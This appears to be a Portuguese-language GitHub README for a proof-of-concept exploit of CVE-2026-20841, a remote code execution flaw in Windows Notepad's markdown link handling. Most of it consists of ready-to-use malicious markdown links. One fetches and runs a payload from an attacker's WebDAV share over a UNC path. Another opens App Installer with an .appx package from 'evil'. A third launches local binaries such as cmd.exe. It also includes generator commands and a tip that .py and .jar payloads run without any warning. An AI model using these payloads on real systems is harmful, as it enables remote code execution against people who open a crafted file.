atiilla/cve-2026-20841Prova de conceito de exploit para CVE-2026-20841, uma RCE no Bloco de Notas do Windows via links de markdown. Gera arquivos .md personalizados para acionar payloads remotos, sideloading de aplicativos ou execução de binários locais.
PoC para uma falha de execução remota de código no renderizador de markdown do Bloco de Notas do Windows. O mecanismo de markdown não restringe protocolos de URL, permitindo que manipuladores de protocolo arbitrários sejam acionados por meio de links clicáveis.
file:///)[clique](file:///\\atacante@5005\DavWWWRoot\payload.py)
O protocolo file:/// resolve caminhos UNC remotos. Vincule um payload e o Windows o buscará e executará ao clicar.
ms-appinstaller://)[clique](ms-appinstaller://?source=https://evil/xxx.appx)
Abre o Instalador de Aplicativos com um pacote .appx/.msix fornecido pelo atacante.
file://)[clique](file://C:/windows/system32/cmd.exe)
Inicia qualquer executável já presente no disco — cmd.exe, powershell.exe, mshta.exe, etc.
Ambos os scripts geram um poc.md com um link manipulado no diretório atual.
node poc.js <host> <porta> <payload/caminho>
python poc.py <host> <porta> <payload/caminho>
# exemplo
node poc.js 192.168.1.100 5005 hello.py
notepad poc.md
Teste os payloads em payloads/.
.exe, .lnk, .vbs e similares acionam um aviso de segurança do Windows, independentemente do comportamento do Bloco de Notas..py e .jar são executados silenciosamente se Python ou Java estiverem instalados no alvo.Fique seguro!